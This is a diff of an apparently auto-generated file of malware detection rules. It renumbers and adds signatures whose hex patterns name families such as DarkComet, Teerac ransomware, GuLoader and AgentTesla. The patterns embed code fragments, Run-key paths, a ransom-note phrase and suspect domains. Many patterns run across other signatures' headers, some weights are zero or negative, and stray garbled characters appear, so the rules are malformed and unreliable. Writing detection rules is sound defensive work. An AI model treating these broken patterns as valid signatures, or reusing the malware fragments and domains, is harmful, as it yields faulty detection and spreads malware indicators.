00 01 00 34 03 4d 00 52 00 58 00 4e 00 45 00 54 00 2e 00 53 00 79 00 73 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 00 00 78 c3 00 00 02 00 02 00 01 00 21 23 48 53 54 52 3a } //108 condition: ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*108) >=1 } -rule _InfrastructureShared_13431{ +rule _InfrastructureShared_14318{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 61 72 6b 43 6f 6d 65 74 2e 50 5a 41 21 4d 54 42 00 02 00 92 03 08 11 07 91 0d 08 11 07 17 d6 91 13 05 11 05 18 d8 6c 28 90 01 01 00 00 06 28 90 01 01 00 00 0a 59 09 6c 59 28 90 01 01 00 00 0a b7 13 06 28 90 } //18467 + condition: + ((#a_54_0 & 1)*18467) >=2 + +} +rule _InfrastructureShared_14319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -151613,7 +161805,7 @@ rule _InfrastructureShared_13431{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*4363) >=2 } -rule _InfrastructureShared_13432{ +rule _InfrastructureShared_14320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -151624,7 +161816,7 @@ rule _InfrastructureShared_13432{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*400) >=2 } -rule _InfrastructureShared_13433{ +rule _InfrastructureShared_14321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -151634,7 +161826,7 @@ rule _InfrastructureShared_13433{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_13434{ +rule _InfrastructureShared_14322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -151646,7 +161838,7 @@ rule _InfrastructureShared_13434{ ((#a_6c_0 & 1)*16675+(#a_00_2 & 1)*98+(#a_44_3 & 1)*24938) >=2 } -rule _InfrastructureShared_13435{ +rule _InfrastructureShared_14323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -151659,7 +161851,7 @@ rule _InfrastructureShared_13435{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*118+(#a_73_2 & 1)*27753+(#a_75_3 & 1)*13681) >=2 } -rule _InfrastructureShared_13436{ +rule _InfrastructureShared_14324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -151674,7 +161866,7 @@ rule _InfrastructureShared_13436{ ((#a_54_0 & 1)*18467+(#a_3d_1 & 1)*13362+(#a_23_2 & 1)*3+(#a_61_3 & 1)*27758+(#a_6d_4 & 1)*28498+(#a_03_5 & 1)*1) >=2 } -rule _InfrastructureShared_13437{ +rule _InfrastructureShared_14325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -151686,7 +161878,7 @@ rule _InfrastructureShared_13437{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11011+(#a_73_2 & 1)*28516) >=3 } -rule _InfrastructureShared_13438{ +rule _InfrastructureShared_14326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -151698,7 +161890,7 @@ rule _InfrastructureShared_13438{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*14637+(#a_53_2 & 1)*29285) >=3 } -rule _InfrastructureShared_13439{ +rule _InfrastructureShared_14327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -151710,7 +161902,7 @@ rule _InfrastructureShared_13439{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*32262+(#a_c3_2 & 1)*1809) >=3 } -rule _InfrastructureShared_13440{ +rule _InfrastructureShared_14328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -151723,7 +161915,7 @@ rule _InfrastructureShared_13440{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*270+(#a_61_2 & 1)*29472+(#a_53_3 & 1)*12390) >=3 } -rule _InfrastructureShared_13441{ +rule _InfrastructureShared_14329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -151735,20 +161927,35 @@ rule _InfrastructureShared_13441{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*13360+(#a_30_3 & 1)*25089) >=3 } -rule _InfrastructureShared_13442{ +rule _InfrastructureShared_14330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_77_0 = {69 3a 52 61 6e 73 6f 6d 3a 54 65 65 72 61 63 00 01 00 0d 01 72 61 63 6b 2d 63 6f 72 65 2e 62 69 6e 01 00 16 01 00 00 2e 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 01 00 18 01 6b 00 6f 00 70 00 6f 00 73 00 6f 00 72 00 65 00 72 00 2e 00 72 00 75 00 01 00 5a 01 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 } //19491 - $a_00_1 = {72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 00 00 78 c3 00 00 04 00 04 00 02 00 21 23 48 53 54 52 3a 57 69 6e 36 34 2f 58 65 7a 73 74 66 79 2e } //105 - $a_00_2 = {77 03 } //65 ͷ - $a_b9_3 = {00 00 00 41 b8 00 10 00 00 ba 90 01 03 00 b9 00 00 00 00 48 8b 90 01 05 ff d0 48 89 85 90 01 02 04 00 48 8b 85 90 01 02 04 00 48 89 c1 48 8d 90 01 05 ba 90 01 02 02 00 49 89 d0 48 89 c2 e8 90 01 } //-23434 + $a_00_1 = {72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 00 00 78 c3 00 00 03 00 03 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 61 } //105 + $a_53_2 = {65 6c 6c 2e 41 21 64 68 61 00 01 00 10 01 4e 45 58 33 65 78 5a 47 47 68 43 6e 58 6c 34 3d 01 00 10 01 42 6c 54 70 58 77 31 41 44 79 33 35 58 6b 68 72 01 00 18 01 4a 45 6e 74 64 52 64 65 42 67 2b 32 54 31 68 41 33 55 30 4f 64 51 3d 3d 01 00 0c 01 4e 45 58 33 64 68 70 58 43 51 3d 3d 01 00 2c 01 49 42 62 46 5a 41 74 63 44 6a 43 67 53 47 78 64 } //25968 + $a_66_3 = {52 38 46 65 54 37 48 69 74 34 42 6b 4c 78 72 55 63 69 36 30 67 3d 3d 01 00 0f 01 45 6e 72 58 51 64 65 57 57 33 35 58 31 78 69 00 00 78 c3 00 00 04 00 04 00 02 00 21 23 48 53 54 52 3a 57 69 6e 36 34 2f 58 65 7a 73 74 66 79 2e 41 00 } //22136 condition: - ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*105+(#a_00_2 & 1)*65+(#a_b9_3 & 1)*-23434) >=3 + ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*105+(#a_53_2 & 1)*25968+(#a_66_3 & 1)*22136) >=3 } -rule _InfrastructureShared_13443{ +rule _InfrastructureShared_14331{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 61 70 65 72 53 68 65 6c 6c 2e 41 21 64 68 61 00 01 00 10 01 4e 45 58 33 65 78 5a 47 47 68 43 6e 58 6c 34 3d 01 00 10 01 42 6c 54 70 58 77 31 41 44 79 33 35 58 6b 68 72 01 00 18 01 4a 45 } //16675 + $a_52_1 = {65 42 67 2b 32 54 31 68 41 33 55 30 4f 64 51 3d 3d 01 00 0c 01 4e 45 58 33 64 68 70 58 43 51 3d 3d 01 00 2c 01 49 42 62 46 5a 41 74 63 44 6a 43 67 53 47 78 64 78 56 4d 66 55 52 38 46 65 54 37 48 69 74 34 42 6b 4c 78 72 55 63 69 36 30 67 3d 3d 01 00 0f 01 45 6e 72 58 51 64 65 57 57 33 35 58 31 78 69 } //29806 䉥⭧吲栱㍁さ摏㵑Ľఀ丁塅搳灨䍘㵑ĽⰀ䤁扂婆瑁䑣䍪卧硇硤䵖啦㡒敆㝔楈㑴歂硌啲楣〶㵧Ľༀ䔁牮兘敤块㔳ㅘ楸 + $a_c3_2 = {00 04 00 04 00 02 00 21 23 48 53 54 52 3a 57 69 6e 36 34 2f 58 65 7a 73 74 66 79 2e 41 00 02 00 77 03 76 a4 41 b9 40 00 00 00 41 b8 00 10 00 00 ba 90 01 03 00 b9 00 00 00 00 48 8b 90 01 05 ff d0 48 89 85 90 01 02 04 00 48 8b 85 90 01 02 04 00 48 89 c1 48 8d 90 01 05 ba 90 01 02 02 00 49 89 d0 48 89 c2 e8 90 01 04 48 8b 85 90 01 02 04 00 48 c7 44 24 28 00 00 } //0 + $a_44_3 = {20 00 00 00 00 41 b9 00 00 00 00 49 89 c0 ba 00 00 00 00 b9 00 00 00 00 48 8b 90 00 02 00 25 03 74 0a b8 00 00 00 00 e9 90 01 01 01 00 00 e8 90 04 01 03 40 2d 44 ff ff ff 85 c0 0f 84 90 01 01 01 00 00 90 00 00 00 78 c3 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 43 54 21 4d 54 42 00 01 00 59 03 06 20 80 00 00 00 6f 90 01 03 0a 1e 8d 90 01 03 01 25 d0 90 01 03 04 1e 2d 54 26 26 13 04 09 11 04 20 e8 03 00 00 73 90 01 03 0a 0c 06 08 06 6f 90 01 03 0a 1e 5b 6f 90 01 03 0a 6f 90 01 03 0a 06 08 06 6f 90 01 03 0a 1e 5b 6f 90 01 03 0a 6f } //0 + $a_0a_4 = {06 17 6f } //400 + $a_00_5 = {0f } //144 + condition: + ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*29806+(#a_c3_2 & 1)*0+(#a_44_3 & 1)*0+(#a_0a_4 & 1)*400+(#a_00_5 & 1)*144) >=3 + +} +rule _InfrastructureShared_14332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -151759,7 +161966,7 @@ rule _InfrastructureShared_13443{ ((#a_54_0 & 1)*18467+(#a_89_1 & 1)*-12151) >=4 } -rule _InfrastructureShared_13444{ +rule _InfrastructureShared_14333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -151772,7 +161979,7 @@ rule _InfrastructureShared_13444{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*2054+(#a_0a_2 & 1)*400+(#a_08_3 & 1)*2563) >=4 } -rule _InfrastructureShared_13445{ +rule _InfrastructureShared_14334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -151785,7 +161992,7 @@ rule _InfrastructureShared_13445{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*29550+(#a_34_2 & 1)*13922+(#a_01_3 & 1)*25955) >=4 } -rule _InfrastructureShared_13446{ +rule _InfrastructureShared_14335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -151798,7 +162005,7 @@ rule _InfrastructureShared_13446{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_c3_3 & 1)*0) >=4 } -rule _InfrastructureShared_13447{ +rule _InfrastructureShared_14336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -151811,7 +162018,7 @@ rule _InfrastructureShared_13447{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29300+(#a_00_2 & 1)*0+(#a_45_3 & 1)*8993) >=4 } -rule _InfrastructureShared_13448{ +rule _InfrastructureShared_14337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -151823,20 +162030,31 @@ rule _InfrastructureShared_13448{ ((#a_4c_0 & 1)*21539+(#a_ec_2 & 1)*18432+(#a_2e_3 & 1)*25456) >=4 } -rule _InfrastructureShared_13449{ +rule _InfrastructureShared_14338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_4c_0 = {57 69 6e 36 34 2f 45 61 72 61 70 63 7a 2e 41 21 4d 54 42 00 01 00 4a 03 c7 44 24 48 20 00 00 00 c7 44 24 40 00 00 00 00 c7 44 24 38 02 00 00 00 48 8d 90 01 05 48 89 44 24 30 48 c7 44 24 28 00 00 00 00 48 c7 } //21539 $a_00_1 = {00 00 00 45 33 c9 4c 8d 90 01 02 48 8b 95 f0 01 00 00 48 8b 4d 08 ff 90 00 01 00 13 01 45 33 c0 } //9284 - $a_10_2 = {02 00 00 48 8b 50 08 48 8b 4d 48 ff 01 00 16 01 48 89 44 24 20 45 33 c9 4c 8b 45 28 ba 10 66 00 00 48 8b 4d 08 ff 01 00 1e 01 48 89 44 24 28 48 8b 85 40 01 00 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 48 8b 4d 48 ff 00 00 78 c3 00 00 05 00 05 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 58 66 65 72 2e 41 21 64 68 61 00 03 00 33 03 4d 8d 40 01 f7 } //-29880 - $a_90_3 = {01 8b c2 c1 e8 90 01 01 03 d0 8b c1 ff c1 8d 14 92 03 d2 2b c2 48 98 0f b6 54 04 90 01 01 41 30 50 90 01 01 3b 4c 24 90 00 03 00 30 03 65 48 8b 04 25 60 00 00 00 33 d2 48 8b 48 18 4c 8b 41 10 49 8b 40 30 48 85 c0 90 01 06 4c 8b c8 48 63 40 3c 42 8b 8c 08 88 00 00 00 85 c9 90 00 01 00 0c 01 4d 69 63 72 6f 73 6f 66 74 6d 65 78 01 00 14 01 2f 00 6e 00 6f 00 2d 00 73 00 74 00 64 00 65 00 72 00 72 00 00 00 78 c3 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 4d 53 49 4c 2f 53 63 6f 74 74 2e 53 41 21 4d 54 42 00 01 00 19 80 01 43 79 62 6f 72 67 20 42 75 69 6c 64 65 72 20 52 61 6e 73 6f 6d 77 61 72 65 01 00 36 80 01 69 66 20 79 6f 75 20 70 61 79 20 69 6e 20 31 36 20 64 61 79 73 20 74 6f 20 6d 79 20 65 6d 61 69 6c 20 73 63 6f 74 74 } //-15895 + $a_10_2 = {02 00 00 48 8b 50 08 48 8b 4d 48 ff 01 00 16 01 48 89 44 24 20 45 33 c9 4c 8b 45 28 ba 10 66 00 00 48 8b 4d 08 ff 01 00 1e 01 48 89 44 24 28 48 8b 85 40 01 00 00 48 89 44 24 20 45 33 c9 45 33 c0 33 d2 48 8b 4d 48 ff 00 00 78 c3 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 41 48 43 21 4d 54 42 00 02 00 29 01 0f b6 85 10 01 00 00 48 63 4d 04 48 8b } //-29880 + $a_00_3 = {00 } //149 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*9284+(#a_10_2 & 1)*-29880+(#a_90_3 & 1)*-15895) >=4 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*9284+(#a_10_2 & 1)*-29880+(#a_00_3 & 1)*149) >=4 } -rule _InfrastructureShared_13450{ +rule _InfrastructureShared_14339{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 41 48 43 21 4d 54 42 00 02 00 29 01 0f b6 85 10 01 00 00 48 63 4d 04 48 8b 95 00 01 00 00 0f b6 0c 0a 33 c8 8b c1 48 63 4d 04 48 8b 95 00 01 00 00 88 04 } //21539 + $a_00_1 = {6a 01 c6 } //-5366 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*-5366) >=5 + +} +rule _InfrastructureShared_14340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -151849,7 +162067,7 @@ rule _InfrastructureShared_13450{ ((#a_4c_0 & 1)*21539+(#a_b6_1 & 1)*-26552+(#a_03_2 & 1)*3+(#a_01_3 & 1)*1) >=5 } -rule _InfrastructureShared_13451{ +rule _InfrastructureShared_14341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -151862,7 +162080,7 @@ rule _InfrastructureShared_13451{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*25632+(#a_00_2 & 1)*25455+(#a_00_4 & 1)*121) >=5 } -rule _InfrastructureShared_13452{ +rule _InfrastructureShared_14342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -151871,25 +162089,40 @@ rule _InfrastructureShared_13452{ $a_00_1 = {01 00 1c 01 53 00 6b 00 79 00 70 00 65 00 20 00 52 00 65 00 73 00 6f 00 6c 00 76 00 65 00 72 00 01 00 18 01 54 00 65 00 78 00 74 00 20 00 53 00 70 00 61 00 6d 00 6d 00 65 00 72 00 01 00 1e 01 41 00 64 00 64 00 65 00 64 00 20 00 42 00 6f 00 74 00 20 00 41 00 64 00 64 00 65 00 72 00 00 00 78 c3 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 } //101 $a_61_2 = {3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 35 31 31 21 4d 54 42 00 01 00 23 81 01 52 75 6e 6f 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 25 01 52 00 75 00 6e 00 6f 00 2e 00 53 00 44 00 55 00 48 00 49 00 4f 00 00 0f 53 00 74 00 72 00 69 00 6e 00 } //28530 $a_01_3 = {00 06 81 01 53 70 6c 69 74 00 01 00 07 81 01 54 6f 42 79 74 65 00 01 00 25 81 01 24 63 31 36 34 33 33 65 62 2d 63 64 31 31 2d 34 35 34 32 2d 39 36 } //103 - $a_65_4 = {65 37 35 61 63 32 66 31 62 34 00 00 78 c3 00 00 05 00 05 00 05 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 51 6a 77 6d 6f 6e 6b 65 79 00 01 } //12899 + $a_65_4 = {65 37 35 61 63 32 66 31 62 34 00 00 78 c3 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c } //12899 condition: ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*101+(#a_61_2 & 1)*28530+(#a_01_3 & 1)*103+(#a_65_4 & 1)*12899) >=5 } -rule _InfrastructureShared_13453{ +rule _InfrastructureShared_14343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 35 31 31 21 4d 54 42 00 01 00 23 81 01 52 75 6e 6f 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 25 01 52 00 75 00 } //18467 - $a_00_1 = {2e 00 53 00 44 00 55 00 48 00 49 00 4f 00 00 0f 53 00 74 00 72 00 69 00 6e 00 67 00 31 01 00 06 81 01 53 70 6c 69 74 00 01 00 07 81 01 54 6f 42 79 74 65 00 01 00 25 81 01 24 63 31 36 34 33 33 65 62 2d 63 64 31 31 2d 34 35 34 32 2d 39 36 63 32 2d 65 35 65 37 35 61 63 32 66 31 62 34 00 00 78 c3 00 00 05 00 05 00 05 00 21 23 50 55 41 } //110 - $a_6f_2 = {6b 3a 51 6a 77 6d 6f 6e 6b 65 79 00 01 00 0a 80 01 40 31 5f 33 36 30 2e 65 78 65 01 00 10 80 01 32 33 34 35 45 78 70 6c 6f 72 65 72 2e 65 78 65 01 00 14 80 01 71 69 61 6e 79 69 6e 67 30 31 30 32 30 33 2e 31 31 65 78 65 01 00 1e 00 64 00 61 00 74 00 61 00 2e 00 67 00 6f 00 6f 00 73 00 61 00 69 00 2e 00 63 00 6f 00 6d 00 01 } //16954 - $a_00_4 = {70 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 7a 00 72 00 79 00 39 00 37 00 2e 00 63 00 6f 00 6d 00 2f 00 79 00 6f 00 75 00 78 00 69 00 2f 00 69 00 6e 00 64 00 65 00 78 00 5f 00 00 00 78 c3 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 57 68 75 61 7a 2e 41 21 4d 54 42 00 01 00 41 81 01 45 6c 65 76 61 74 69 6f 6e 3a 41 64 6d 69 6e } //116 + $a_00_1 = {2e 00 53 00 44 00 55 00 48 00 49 00 4f 00 00 0f 53 00 74 00 72 00 69 00 6e 00 67 00 31 01 00 06 81 01 53 70 6c 69 74 00 01 00 07 81 01 54 6f 42 79 74 65 00 01 00 25 81 01 24 63 31 36 34 33 33 65 62 2d 63 64 31 31 2d 34 35 34 32 2d 39 36 63 32 2d 65 35 65 37 35 61 63 32 66 31 62 34 00 00 78 c3 00 00 05 00 05 00 05 00 21 23 48 53 54 } //110 + $a_72_2 = {6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 56 30 31 21 4d 54 42 00 01 00 17 81 01 73 70 65 63 69 66 69 63 69 74 65 74 65 72 20 6b 61 6d 66 65 72 65 74 01 00 10 81 01 70 75 73 6c 69 6e 67 65 6e 73 20 65 6d 6c 79 6e 01 00 14 81 01 6e } //14930 + $a_73_3 = {74 72 61 69 6c 62 6c 61 7a 65 2e 65 78 65 01 00 16 81 01 6e 75 72 74 75 72 61 6e 63 65 20 72 65 66 72 75 73 74 72 61 74 65 01 00 2a 81 01 72 61 61 64 69 67 68 65 64 73 73 75 6d 6d 65 72 73 20 63 6f 6e 64 75 70 6c 69 63 61 74 65 64 20 61 6e 74 61 72 63 68 69 73 74 00 00 78 c3 00 00 05 00 05 00 05 00 21 23 50 55 41 3a 42 6c } //26981 + $a_3a_4 = {6a 77 6d 6f 6e 6b 65 79 00 01 00 0a 80 01 40 31 5f 33 36 30 2e 65 78 65 01 00 10 80 01 32 33 34 35 45 78 70 6c 6f 72 65 72 2e 65 78 65 01 00 14 80 01 71 69 61 6e 79 69 6e 67 30 31 30 32 30 33 2e 31 31 65 78 65 01 00 1e 00 64 00 61 00 74 00 61 00 2e 00 67 00 6f 00 6f 00 73 00 61 00 69 00 2e 00 63 00 6f 00 6d 00 01 00 42 } //25455 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*110+(#a_6f_2 & 1)*16954+(#a_00_4 & 1)*116) >=5 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*110+(#a_72_2 & 1)*14930+(#a_73_3 & 1)*26981+(#a_3a_4 & 1)*25455) >=5 } -rule _InfrastructureShared_13454{ +rule _InfrastructureShared_14344{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 56 30 31 21 4d 54 42 00 01 00 17 81 01 73 70 65 63 69 66 69 63 69 74 65 74 65 72 20 6b 61 6d 66 65 72 65 74 01 00 10 81 01 70 75 73 6c 69 6e 67 65 6e 73 20 65 6d 6c 79 6e 01 } //18467 + $a_01_1 = {6e 65 69 6c 73 20 74 72 61 69 6c 62 6c 61 7a 65 2e 65 78 65 01 00 16 81 01 6e 75 72 74 75 72 61 6e 63 65 20 72 65 66 72 75 73 74 72 61 74 65 01 00 2a 81 01 72 61 61 64 69 67 68 65 64 73 73 75 6d 6d 65 72 73 20 63 6f 6e 64 75 70 6c 69 63 61 74 65 64 20 61 6e 74 61 72 63 68 69 73 74 00 00 78 c3 00 00 05 00 05 00 05 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 51 6a 77 6d 6f 6e 6b 65 79 00 01 } //5120 + $a_01_2 = {40 31 5f 33 36 30 2e 65 78 65 01 00 10 80 01 32 33 34 35 45 78 70 6c 6f 72 65 72 2e 65 78 65 01 00 14 80 01 71 69 61 6e 79 69 6e 67 30 31 30 32 30 33 2e 31 31 65 78 65 01 00 1e 00 64 00 61 00 74 00 61 00 2e 00 67 00 6f 00 6f 00 73 00 61 00 69 00 2e 00 63 00 6f 00 6d 00 01 00 42 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 7a 00 72 00 79 00 39 00 37 00 2e 00 } //2560 + $a_00_3 = {6d 00 2f 00 79 00 6f 00 75 00 78 00 69 00 2f 00 69 00 6e 00 64 00 65 00 78 00 5f 00 00 00 78 c3 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 57 68 75 61 7a 2e 41 21 4d 54 42 00 01 00 41 81 01 45 6c 65 76 61 74 69 6f 6e 3a 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 21 6e 65 77 3a 7b 31 32 43 32 31 45 41 37 2d 32 45 42 38 } //99 + $a_35_4 = {2d 39 32 34 39 2d 41 43 32 34 33 44 41 38 43 36 36 36 01 00 0b 81 01 43 6f 47 65 74 4f 62 6a 65 63 74 01 00 10 81 01 43 6f 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 1a 03 48 8b cb 48 89 7c 24 } //13357 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*5120+(#a_01_2 & 1)*2560+(#a_00_3 & 1)*99+(#a_35_4 & 1)*13357) >=5 + +} +rule _InfrastructureShared_14345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -151901,7 +162134,7 @@ rule _InfrastructureShared_13454{ ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*116+(#a_3a_4 & 1)*17748) >=5 } -rule _InfrastructureShared_13455{ +rule _InfrastructureShared_14346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -151915,7 +162148,7 @@ rule _InfrastructureShared_13455{ ((#a_4c_0 & 1)*21539+(#a_32_1 & 1)*11573+(#a_7c_2 & 1)*18635+(#a_70_3 & 1)*8295+(#a_54_4 & 1)*17996) >=5 } -rule _InfrastructureShared_13456{ +rule _InfrastructureShared_14347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -151929,7 +162162,7 @@ rule _InfrastructureShared_13456{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*28789+(#a_72_2 & 1)*29811+(#a_01_4 & 1)*29194+(#a_00_5 & 1)*30720) >=5 } -rule _InfrastructureShared_13457{ +rule _InfrastructureShared_14348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -151940,7 +162173,7 @@ rule _InfrastructureShared_13457{ ((#a_46_0 & 1)*16675+(#a_13_1 & 1)*27136) >=6 } -rule _InfrastructureShared_13458{ +rule _InfrastructureShared_14349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -151955,7 +162188,7 @@ rule _InfrastructureShared_13458{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29797+(#a_48_2 & 1)*8448+(#a_70_3 & 1)*25972+(#a_67_4 & 1)*25459+(#a_a8_5 & 1)*15749) >=6 } -rule _InfrastructureShared_13459{ +rule _InfrastructureShared_14350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -151970,7 +162203,7 @@ rule _InfrastructureShared_13459{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*29801+(#a_00_2 & 1)*0+(#a_61_3 & 1)*28530+(#a_9b_4 & 1)*-6150+(#a_20_5 & 1)*19525) >=6 } -rule _InfrastructureShared_13460{ +rule _InfrastructureShared_14351{ meta: description = 